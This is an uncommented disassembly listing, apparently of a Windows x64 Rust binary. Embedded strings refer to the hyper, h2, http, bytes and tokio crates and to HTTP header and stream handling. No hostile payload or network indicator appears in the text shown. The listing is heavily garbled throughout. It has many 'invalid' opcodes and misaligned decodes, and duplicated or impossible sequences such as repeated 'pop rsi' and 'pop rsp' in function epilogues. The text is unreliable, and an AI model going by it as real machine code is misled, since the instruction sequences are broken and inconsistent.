mov qword [rsp + 0x268], rax
lea rcx, [rsp + 0xe0]
jmp 0x140085c1d
mov ecx, 1
mov rdx, r14
call fcn.140104360
lea rcx, [rsp + 0x278]
mov rax, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x268]
mov r8, qword [rsp + 0x270]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xe0]
test rax, rax
je 0x140085d21
lea rcx, [rsp + 0xf8]
jmp 0x140085d0e
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x20
call fcn.140104380
mov qword [rsp + 0x340], r14
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x260], rax
lea rax, [0x1400ea5c0]
mov qword [rsp + 0x268], rax
test byte [rax + rbp*2], ah
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rax*2], fs
add eax, dword [rax]
add byte [rax - 0x77], cl
mov word [rax + rsi*2], fs
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0xc6067
test byte [rax + rbp*2], ah
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rax*2], fs
add eax, dword [rax]
add byte [rax - 0x77], cl
mov word [rax + rsi*2], fs
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0xc6067
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 2
invalid
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x800], 0
lea rax, [rsp + 0x260]
jmp 0x14008580d
invalid
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x260], rax
lea rax, [0x1400ea5c0]
mov qword [rsp + 0x268], rax
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x270], rcx
mov qword [rsp + 0x278], rax
lea rax, str.range_end_out_of_bounds:
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 2
mov qword [rsp + 0x800], 0
lea rax, [rsp + 0x260]
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7f8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x7e0]
call fcn.140104620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheader_value.rs
call fcn.140104a40
mov ecx, 8
mov edx, 0x18
call fcn.140104380
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
call fcn.140104670
lea rcx, [rsp + 0x4c8]
mov rax, qword [rsp + 0x4b0]
mov rdx, qword [rsp + 0x4b8]
mov r8, qword [rsp + 0x4c0]
call qword [rax + 0x10]
test rbx, rbx
je 0x140085d21
lea rcx, [rsp + 0x88]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
call qword [rbx + 0x10]
jmp 0x140085d21
mov ecx, 8
mov edx, 0x70
call fcn.140104380
ud2
lea rcx, [rsp + 0xf8]
mov rax, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
call qword [rax + 0x10]
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x140127648]
lea r8, [rsp + 0x70]
mov edx, 0x17
call fcn.1401049b0
lea rcx, [rsp + 0x4c8]
mov rax, qword [rsp + 0x4b0]
mov rdx, qword [rsp + 0x4b8]
mov r8, qword [rsp + 0x4c0]
call qword [rax + 0x10]
test r13, r13
je 0x140085d21
lea rcx, [rsp + 0x88]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
call qword [r13 + 0x10]
jmp 0x140085d21
mov ecx, 8
mov edx, 0x60
call fcn.140104380
mov ecx, 2
mov rdx, r15
call fcn.140104360
mov qword [rsp + 0x260], rsi
lea rax, [rsp + 0x340]
mov qword [rsp + 0x1460], rax
lea rax, [0x1400ea5c0]
mov qword [rsp + 0x1468], rax
lea rcx, [rsp + 0x260]
mov qword [rsp + 0x1470], rcx
mov qword [rsp + 0x1478], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 2
mov qword [rsp + 0x800], 0
lea rax, [rsp + 0x1460]
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7f8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x7e0]
call fcn.140104620
mov qword [rsp + 0xe0], rbx
lea rax, [rsp + 0x170]
mov qword [rsp + 0x4b0], rax
lea rax, [0x1400ea5c0]
mov qword [rsp + 0x4b8], rax
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x4c0], rcx
mov qword [rsp + 0x4c8], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], 2
mov qword [rsp + 0x280], 0
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x278], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x260]
call fcn.140104620
lea r8, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.1401046e0
mov ecx, 8
mov edx, 0x28
call fcn.140104380
mov ecx, 8
mov rdx, r15
call fcn.140104360
call fcn.140010910
mov ecx, 2
mov edx, 0x20
call fcn.140104360
mov ecx, 8
mov edx, 0x240
call fcn.140104360
lea rax, [rsp + 0x580]
mov qword [rsp + 0x480], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x488], rax
lea rax, [0x14016f6c0]
mov qword [rsp + 0x1460], rax
mov qword [rsp + 0x1468], 1
mov qword [rsp + 0x1480], 0
lea rax, [rsp + 0x480]
mov qword [rsp + 0x1470], rax
mov qword [rsp + 0x1478], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fwant_0.3.1_srclib.rs
lea rcx, [rsp + 0x1460]
call fcn.140104620
mov ecx, 1
mov rdx, qword [rsp + 0x40]
call fcn.140104360
int3
add rsi, 0x48
mov rcx, rsi
call fcn.14005bd80
nop
add rsp, 0x108
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
je 0x140087559
dec r12
and r12, 0xfffffffffffffff0
lea rcx, [r14 + r12]
add rcx, 0x10
mov qword [rax], rdi
mov qword [rax + 8], r15
mov qword [rax + 0x10], r13
mov rdx, qword [rsp + 0x38]
mov qword [rax + 0x18], rdx
mov edx, dword [rsp + 0x34]
mov byte [rax + 0x20], dl
mov edx, dword [rsp + 0x2d]
mov r8d, dword [rsp + 0x30]
mov dword [rax + 0x21], edx
mov dword [rax + 0x24], r8d
lea r8, fcn.1400890d0
mov rdx, rax
call qword [rbx + 0x18]
jmp 0x140087481
add eax, dword [rax]
add byte [rax - 0x75], cl
jl 0x140087231
test rax, rax
je 0x14008732b
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xe0]
lock inc qword [r14]
jle 0x140087548
add byte [rax], al
add byte [rax], al
movzx eax, byte [0x14017d2b0]
mov edx, 0x100
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400875bc
add eax, dword gs:[rax]
invalid
add eax, dword gs:[rax]
add byte [rax - 0x77], cl
ret 0x8348
mov rdx, rax
and rdx, 0xffffffffffffff80
lea rbx, [rdx + 0x80]
mov qword [rdx + 0x78], rax
lea rcx, [r14 + 0x68]
mov qword [rdx + 0x80], 0xcc
mov qword [rdx + 0x88], 0
lea rax, [0x14013d9b0]
mov qword [rdx + 0x90], rax
mov qword [rdx + 0x98], 0
mov qword [rdx + 0xa0], r14
mov qword [rdx + 0xa8], rdi
mov rax, qword [rsp + 0x38]
mov qword [rdx + 0xb0], rax
add byte [rax], al
add byte [rcx + rcx*4 - 0x46], cl
mov eax, 0x4c000000
mov dword [rdx + 0xc0], ebp
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x46], cl
mov eax, 0x4c000000
mov dword [rdx + 0xc0], ebp
invalid
add byte [rcx + rcx*4 - 0x5e], cl
enter 0, 0
mov qword [rdx + 0xc8], r12
mov eax, dword [rsp + 0x34]
mov byte [rdx + 0xd0], al
mov eax, dword [rsp + 0x2d]
mov r8d, dword [rsp + 0x30]
mov dword [rdx + 0xd1], eax
mov dword [rdx + 0xd4], r8d
xorps xmm0, xmm0
movups xmmword [rdx + 0xd8], xmm0
mov qword [rdx + 0xe8], 0
mov rdx, rbx
mov r8, rbx
call fcn.140065e40
test rax, rax
je 0x140087447
add r14, 0x10
mov rcx, r14
mov rdx, rax
xor r8d, r8d
call fcn.1400eca20
jmp 0x140087447
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xe0]
lock inc qword [r14]
jle 0x140087548
movzx eax, byte [0x14017d2b0]
mov edx, 0x100
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400875bc
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rbx, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
mov qword [rcx + 0x88], 0
lea rax, [0x14013de60]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0
mov qword [rcx + 0xa0], r14
add r14, 0x58
mov qword [rcx + 0xa8], rdi
mov rax, qword [rsp + 0x38]
mov qword [rcx + 0xb0], rax
mov qword [rcx + 0xb8], r15
mov qword [rcx + 0xc0], r13
mov qword [rcx + 0xc8], r12
mov eax, dword [rsp + 0x34]
mov byte [rcx + 0xd0], al
mov eax, dword [rsp + 0x2d]
mov edx, dword [rsp + 0x30]
mov dword [rcx + 0xd1], eax
mov dword [rcx + 0xd4], edx
xorps xmm0, xmm0
movups xmmword [rcx + 0xd8], xmm0
mov qword [rcx + 0xe8], 0
mov rcx, r14
mov rdx, rbx
mov r8, rbx
call fcn.140065e40
test rax, rax
je 0x140087447
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eb0b0
mov rcx, qword [rsp + 0x20]
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
dec qword [rax + 0xd0]
mov edx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rbx], rdx
je 0x140087486
mov rax, qword [rbx + 0x10]
mov rcx, rbx
call qword [rax + 0x20]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 0
movups xmm0, xmmword [rsp + 0xf8]
movups xmmword [rsp + 0x78], xmm0
movups xmm0, xmmword [rsi + 0x18]
movups xmmword [rsp + 0x88], xmm0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x98], rax
mov byte [rsp + 0xf0], 0
mov rax, qword [rcx + 0xc8]
mov rdx, qword [rcx + 0xd0]
lea r8, [rsp + 0x50]
mov rcx, rax
call fcn.140088420
test bpl, bpl
je 0x140086ec5
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140027650
mov rax, qword [rsi + 0x30]
lock dec qword [rax]
jne 0x140087514
mov rcx, rdi
call fcn.140004660
mov rax, qword [rsi + 0x40]
lock dec qword [rax]
jne 0x140086eb9
mov rcx, qword [rsi + 0x40]
call fcn.140087bf0
jmp 0x140086eb9
ud2
mov ecx, 8
mov edx, 0x28
call fcn.140104380
mov ecx, 8
mov edx, 0x30
call fcn.140104380
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140104950
mov rcx, rbx
call fcn.1400890d0
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
xor eax, eax
mov byte [rsp + 0x50], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
pop di
or eax, dword [rax]
pop di
or eax, dword [rax]
lea rcx, [rsp + 0x50]
call fcn.140109d90
mov ecx, 0x80
mov edx, 0x80
add byte [rax], 0
add al, ch
mov ch, 0xcd
invalid
invalid
add byte [rax], 0
add byte [rax], al
add al, ch
mov ch, 0xcd
invalid
mov rcx, rbx
call fcn.1400890d0
mov al, 1
mov byte [rsp + 0x50], al
and al, 0x50
and al, 0x50
and al, 0x50
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0x50]
call fcn.140109d90
invalid
or byte [rax], al
int3
invalid
int3
int3
push rbx
sub rsp, 0x168
mov rsi, r9
mov rdi, r8
mov rbx, rdx
mov r14, rcx
mov esi, ecx
mov esi, ecx
movups xmm0, xmmword [0x14013c8a8]
movaps xmmword [rsp + 0x50], xmm0
sub dword [rsp + 0x50], eax
sub dword [rsp + 0x50], eax
movups xmm0, xmmword [0x14013c898]
movaps xmmword [rsp + 0x40], xmm0
add byte [rdi], cl
sub dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140025cf0
mov bpl, 6
mov ch, 6
mov ch, 6
invalid
test al, al
jne case.0x1400877c7.2
movups xmm0, xmmword [0x140128708]
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x1401286f8]
movaps xmmword [rsp + 0x40], xmm0
cmpsb byte [rsi], byte [rdi]
adc byte [rdx], cl
add byte [rdi], cl
sub dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140025cf0
inc dword [rax + rax*8 + 0x19f850f]
add byte [rax], al
inc dword [rax + rax*8 + 0x19f850f]
add byte [rax], al
movups xmm0, xmmword [0x140128a38]
movaps xmmword [rsp + 0x50], xmm0
push rax
invalid
push rax
movups xmm0, xmmword [0x140128a28]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov rcx, rbx
call fcn.140025cf0
stc
inc dword [rax + rax*8 + 0x172850f]
jb 0x140087698
add byte [rax], al
stc
inc dword [rax + rax*8 + 0x172850f]
jb 0x140087698
jb 0x140087698
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xb5218
lea rdx, str.keep_alive
mov r8d, 0xa
mov rcx, rbx
call fcn.140025e80
out 0xf9, eax
inc dword [rax + rax*8 + 0x155850f]
add byte [rax], al
out 0xf9, eax
inc dword [rax + rax*8 + 0x155850f]
add byte [rax], al
lea rdx, str.proxy_connection
mov r8d, 0x10
mov rcx, rbx
call fcn.140025e80
test al, al
jne case.0x1400877c7.2
cmp byte [rcx], al
add byte [rax], al
cmp byte [rcx], al
add byte [rax], al
movups xmm0, xmmword [0x140128a58]
movaps xmmword [rsp + 0x50], xmm0
adc ecx, dword [rdx]
add byte [rdi], cl
sub dword [rsp + 0x50], eax
movups xmm0, xmmword [0x140128a48]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov rcx, rbx
call fcn.140022f90
mov r15, rax
mov rax, qword [rsp + 0x40]
test rax, rax
je 0x140087717
mov eax, 0x8949fff9
dec dword [rcx - 0x77]
invalid
lea rcx, [rsp + 0x58]
lea ecx, [rsp + 0x58]
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
call qword [rax + 0x10]
push rax
invalid
push rax
adc byte [rbp - 0x7b], cl
push qword [rdx + riz + 0x49]
and cl, byte [rcx - 0x7d]
jg 0x140087730
invalid
test r15, r15
je 0x14008773e
invalid
and cl, byte [rcx - 0x7d]
jg 0x140087730
cmp qword [r15 + 0x10], 8
or byte [rdi], cl
test esp, esp
add byte [rax], al
add byte [rcx - 0x75], cl
or byte [r8 - 0x47], r9b
je 0x1400877a1
jne case.0x1400877c7.2
mov rax, qword [r15 + 8]
movabs rcx, 0x7372656c69617274
cmp qword [rax], rcx
cmp dword [rax], ecx
invalid
imul ebp, dword [rbp + riz*2 + 0x72], 0x8394873
cmp dword [rax], ecx
jne case.0x1400877c7.2
movzx edx, byte [rbx + 0x11c]
mov dh, 0x93
sbb al, 1
add byte [rax], al
mov rcx, qword [rsi]
mov ecx, dword [rsi]
invalid
mov r8d, dword [rsi + 8]
mov eax, dword [rsi + 0xc]
mov dword [rsp + 0x28], r8d
or byte [rbx - 0x76bbf3ba], cl
and al, 0x28
lea r10, [rsp + 0x2c]
push rsp
and al, 0x2c
mov dword [rsp + 0x2c], eax
and al, 0x2c
cmp qword [rcx + 0x10], r8
jbe 0x1400879bd
add byte [rax], al
add byte [rax], al
mov r12, qword [rcx + 8]
imul rcx, r8, 0x130
cmp dword [r12 + rcx], 2
add dword [rax], eax
add byte [rcx - 0x7d], al
cmp al, 0xc
add cl, byte [rdi]
je 0x1400879bd
je 0x1400879bd
add r12, rcx
cmp dword [r12 + 0x114], eax
add byte [rdi], cl
test dword [rdi], ebp
add al, byte [rax]
invalid
int3
add byte [rdi], cl
test dword [rdi], ebp
add al, byte [rax]
add byte [rcx + 0xf], al
movzx eax, byte [rsp + 0x50]
movzx eax, byte [r12 + 0x50]
movzx eax, byte [rsp + 0x50]
lea ecx, [rax - 6]
cli
movzx r9d, cl
cmp r9b, 6
mov r8d, 6
invalid
cmovb r8d, r9d
mov bpl, 1
cmp r8b, 5
ja case.0x1400877c7.2
and dl, 1
movzx r8d, r8b
lea r9, [0x1401747b0]
or eax, 0xecff0
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
mov rcx, rbx
call fcn.140088040
mov eax, ebp
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x30], r10
lea rax, [0x14001b1b0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140104620
mov qword [rsp + 0x30], r10
lea rax, [0x14001b1b0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
add byte [rax - 0x73], cl
and al, 0x40
add byte [rax - 0x73], cl
and al, 0x40
call fcn.140104620
lea rcx, str.assertion_failed:__id.is_zero__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotopeer.rs
lea r8, [0x140124ec0]
mov edx, 0x1f
call fcn.1401046f0
int3
xor byte [rax - 0x77], cl
stc
add byte [rax], al
invalid
int3
dec qword [rsi + 8]
mov eax, esi
cmp r13, r12
jae 0x140087da3
div byte [rsp + 0x4c]
mov eax, dword [rsi + 0x28]
mov rcx, qword [0x14017d208]
or eax, 0xf5455
xor edx, edx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
ret
loope 0x140087dee
lea rcx, [rcx + rcx*4]
sub rax, rcx
lea rbx, [rax + rdi]
add rbx, 0x20
jmp 0x140087e0d
invalid
add rbx, 0x50
dec rbp
int 0xf
test byte [rsi - 1], ah
invalid
invalid
int 0xf
test byte [rsi - 1], ah
invalid
cmp dword [rbx - 0x20], 3
je 0x140087e00
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
invalid
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
jmp 0x140087e00
invalid
int3
int3
mov rsi, rcx
cmp dword [rcx + 0x10], 3
je 0x140087e48
lea rcx, [rsi + 0x10]
call fcn.1400524f0
cmpsb byte [rsi], byte [rdi]
cld
invalid
cmpsb byte [rsi], byte [rdi]
cld
dec dword [rax - 0x7d]
mov esi, 0xc0
add byte [rax], al
je 0x140087e5e
lea rcx, [rsi + 0xc0]
cmp qword [rsi + 0xc0], 0
add byte [rax], al
je 0x140087e5e
lea rcx, [rsi + 0xc0]
call fcn.1400366b0
cli
dec dword [rdi]
mov dh, 0x86
test al, 0
add byte [rax], al
movzx eax, byte [rsi + 0xa8]
cmp al, 0xb
je case.0x140069415.84
cmp al, 0xa
jb case.0x140069415.84
cmp qword [rsi + 0xb8], 0
je case.0x140069415.84
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rsi + 0xb0]
mov r8, qword [rsi + 0xb0]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi], 0
cmp dword [rsi], 0
je 0x140087ee2
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x140087ee2
or byte [rax - 0x7b], cl
push qword [rsi + rax*2 + 0x48]
mov eax, dword [rdi + 0x30]
mov rax, qword [rdi + 0x30]
mov rcx, rax
test cl, 4
jne 0x140087eba
mov rdx, rcx
or rdx, 2
retf 0x4802
mov eax, ecx
lock cmpxchg qword [rdi + 0x30], rdx
push rdi
xor byte [rbp - 0x1a], dh
retf 0x4802
push rdi
xor byte [rbp - 0x1a], dh
and ecx, 5
cmp ecx, 1
jne 0x140087ecd
add eax, 0x7501f983
or ecx, dword [rax - 0x75]
and byte [r8 - 0x75], r9b
sub r15b, r15b
push rax
adc al, dh
dec qword [rdi]
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x140087ee2
mov rcx, qword [rsi + 8]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140037db0
nop
add rsp, 0x28
pop rdi
pop rsi
ret
int3
ror dword [rcx - 1], 0xe1
int3
int3
int3
int3
int3
or byte [rbx + rcx*4 + 0x41], cl
sub byte [rax - 0x77], cl
ror dword [rcx - 1], 0xe0
int3
int3
int3
or byte [rbx + rcx*4 + 0x41], cl
xor byte [rax - 0x77], cl
mov ecx, eax
jmp r8
int3
mov ecx, eax
jmp r8
int3
mov ecx, eax
jmp r10
int3
int3
invalid
cmp ch, 2
je 0x140089377
mov rsi, qword [rsp + 0x30]
lock dec qword [rsi + 0x40]
jne 0x140089352
push rbp
push rbp
mov rax, qword [rsi + 0x38]
test rax, rax
jns 0x140089315
movabs rax, 0x7fffffffffffffff
lock and qword [rsi + 0x38], rax
mov rax, qword [rsi + 0x58]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x58], rcx
jne 0x140089320
test rax, rax
jne 0x140089352
mov rax, qword [rsi + 0x48]
mov rcx, qword [rsi + 0x50]
mov qword [rsi + 0x48], 0
lock and qword [rsi + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x140089352
call qword [rax + 8]
lock dec qword [rsi]
jne 0x140089362
lea rcx, [rsp + 0x30]
call fcn.1400893e0
mov rax, qword [rsp + 0x38]
lock dec qword [rax]
jne 0x140089377
and al, 0x38
call fcn.140004b70
mov qword [rsp + 0x30], r14
test r14, r14
je 0x140089391
lock dec qword [r14]
jne 0x140089391
lea rcx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
call fcn.140005210
mov eax, ebx
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
sbb al, 0xb3
invalid
cmp dword [rbx + rcx*4 + 0x47], ecx
sbb byte [rbp - 0x7b], cl
sal byte [rsp + rbp + 0x48], 0x8b
sbb eax, 0x85fff
call rsi
or byte [rbp - 0x77], cl
invalid
idiv edi
mov r8, r15
jmp case.0x14006d7e6.62
test rax, rax
sal byte [rdi + rax + 0x48], 0x8b
push r8
push rax
push rax
cmp eax, 0xffffffff
push qword [rdx + riz - 0x10]
dec qword [r8 + 8]
ror byte [rax - 0x7d], cl
invalid
add esp, 0x20
invalid
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
loop 0x1400894f4
loop 0x1400894f4
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
invalid
je 0x140089525
test al, 4
je 0x140089758
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax + 0x48da7403], ch
test al, 3
je 0x1400894e0
cmp rax, 0x3f
cmp eax, 0x3f
invalid
jbe 0x140089770
xchg byte [rax + 2], ah
add byte [rax], al
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
setb dl
xchg edx, eax
ret 0xca80
invalid
invalid
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x1400894fa
movzx eax, dl
lea rcx, [0x1401747e4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ae78]
mov qword [rsp + 0x60], rax
add byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x68], rsi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
and al, 0x70
and al, 0x70
mov qword [rsp + 0x78], rax
movzx eax, byte [rsi + 0x50]
and al, 6
cmp al, 4
add al, 0xf
test byte [rdx], ah
add al, byte [rax]
invalid
add al, 0xf
test byte [rdx], ah
add al, byte [rax]
add byte [rax - 0x73], cl
xor byte [rax - 0x75], r9b
mov edi, dword [rsi + 0x28]
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov edi, dword [rsi + 0x28]
mov edi, dword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
add byte [rax], al
cmp eax, 0x4865000f
mov edx, dword [0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rdx + rax*8]
add al, 0xc2
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je case.0x140069415.94
xorps xmm6, xmm6
test eax, eax
jne 0x1400895f7
invalid
invalid
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
sbb bh, byte [0x1886d95ab]
mov edx, dword [0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
mov rbx, rcx
mov rcx, rax
call fcn.1400d3ad0
add al, 0
add al, 0
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
cmp al, 0xf
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
mov eax, dword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
mov dword [rax + 0xf8], edi
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 0xf8], edi
mov dword [rax + 0xf8], edi
lea rdx, [rsp + 0x70]
call fcn.140089200
invalid
invalid
jo 0x1400895e5
invalid
invalid
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x140089655
invalid
xor eax, 0x4b75c985
test ecx, ecx
leave
jne 0x14008966f
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
add eax, 0xe8c38900
mov ebx, eax
call fcn.1400d3ad0
add byte [rcx + 0x2087c6d8], cl
add dword [rax], eax
add byte [rcx], al
add byte [rcx + 0x2087c6d8], cl
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lock add byte [rax], al
invalid
lock add byte [rax], al
add byte [rax - 0x73], cl
jle 0x140089693
lea rdi, [rsi + 0x20]
test al, al
je 0x140089706
mov rcx, rsi
call fcn.1400e7430
movzx eax, al
lea rcx, [0x1401747f4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
add rcx, 0x10
add ecx, 0x10
add ecx, 0x10
